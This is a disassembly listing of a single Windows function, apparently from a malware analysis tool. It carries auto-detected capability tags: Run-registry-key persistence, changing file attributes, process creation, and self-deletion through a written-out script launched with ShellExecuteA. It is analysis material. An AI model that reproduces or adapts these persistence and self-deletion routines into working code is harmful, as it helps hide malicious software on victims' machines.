Function at 0x435d4c
Capabilities:
Create process on windows
Get file attributes
Persist via run registry key
Self delete
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x3f
push 0
push 0
dec ecx
jne 0x435d54
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x436064
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x440048]
cmp byte [eax + 0xa02], 0
je 0x435da9
push 1
lea eax, [ebp - 0x1d0]
mov edx, dword [0x440048]
add edx, 0x400
call fcn.00404954
mov ecx, dword [ebp - 0x1d0]
mov edx, 0x43607c
mov eax, 0x80000001
call fcn.00417c68
mov eax, dword [0x440048]
cmp byte [eax + 0xa00], 0
je 0x43603f
mov eax, dword [0x440048]
cmp byte [eax + 0x800], 0
je 0x435e29
mov ebx, 0xa
push 0x64
call sub.kernel32.dll_Sleep_1
lea eax, [ebp - 0x1d4]
mov edx, dword [0x440048]
add edx, 0x300
call fcn.00404954
lea eax, [ebp - 0x1d4]
push eax
lea eax, [ebp - 0x1d8]
mov edx, dword [0x440048]
add edx, 0x200
call fcn.00404954
mov edx, dword [ebp - 0x1d8]
pop eax
call fcn.004049b8
mov eax, dword [ebp - 0x1d4]
call fcn.00434cc4
dec ebx
jne 0x435dce
jmp 0x43603f
xor eax, eax
push ebp
push 0x436035
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x1dc]
xor eax, eax
call fcn.004029b4
mov eax, dword [ebp - 0x1dc]
call fcn.00404bb0
push eax
call sub.kernel32.dll_GetFileAttributesA
mov ebx, eax
and ebx, 2
and ebx, 1
and ebx, 4
push ebx
lea edx, [ebp - 0x1e0]
xor eax, eax
call fcn.004029b4
mov eax, dword [ebp - 0x1e0]
call fcn.00404bb0
push eax
call sub.kernel32.dll_SetFileAttributesA
test eax, eax
je 0x43602b
lea edx, [ebp - 0x1e8]
xor eax, eax
call fcn.004029b4
mov eax, dword [ebp - 0x1e8]
lea edx, [ebp - 0x1e4]
call fcn.00408b10
lea eax, [ebp - 0x1e4]
mov edx, 0x4360b4
call fcn.004049b8
mov edx, dword [ebp - 0x1e4]
lea eax, [ebp - 0x1cc]
call fcn.00402d68
lea eax, [ebp - 0x1cc]
call fcn.00402b04
call fcn.004027e8
mov edx, 0x4360cc
lea eax, [ebp - 0x1cc]
call fcn.00404d44
call fcn.004034d8
call fcn.004027e8
mov edx, 0x4360e0
lea eax, [ebp - 0x1cc]
call fcn.00404d44
call fcn.004034d8
call fcn.004027e8
mov edx, 0x4360f0
lea eax, [ebp - 0x1cc]
call fcn.00404d44
call fcn.004034d8
call fcn.004027e8
mov edx, 0x436100
lea eax, [ebp - 0x1cc]
call fcn.00404d44
call fcn.004034d8
call fcn.004027e8
mov edx, 0x436118
lea eax, [ebp - 0x1cc]
call fcn.00404d44
call fcn.004034d8
call fcn.004027e8
mov edx, 0x436138
lea eax, [ebp - 0x1cc]
call fcn.00404d44
call fcn.004034d8
call fcn.004027e8
mov edx, 0x436148
lea eax, [ebp - 0x1cc]
call fcn.00404d44
call fcn.004034d8
call fcn.004027e8
lea eax, [ebp - 0x1cc]
call fcn.00402f0c
call fcn.004027e8
push 0
lea edx, [ebp - 0x1f0]
xor eax, eax
call fcn.004029b4
mov eax, dword [ebp - 0x1f0]
lea edx, [ebp - 0x1ec]
call fcn.00408b10
mov eax, dword [ebp - 0x1ec]
call fcn.00404bb0
push eax
lea edx, [ebp - 0x1f4]
xor eax, eax
call fcn.004029b4
mov eax, dword [ebp - 0x1f4]
call fcn.00404bb0
push eax
lea edx, [ebp - 0x1fc]
xor eax, eax
call fcn.004029b4
mov eax, dword [ebp - 0x1fc]
lea edx, [ebp - 0x1f8]
call fcn.00408b10
lea eax, [ebp - 0x1f8]
mov edx, 0x4360b4
call fcn.004049b8
mov eax, dword [ebp - 0x1f8]
call fcn.00404bb0
push eax
push 0x436150
call sub.user32.dll_GetForegroundWindow
push eax
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x43603f
push 7
call sub.kernel32.dll_ExitProcess_1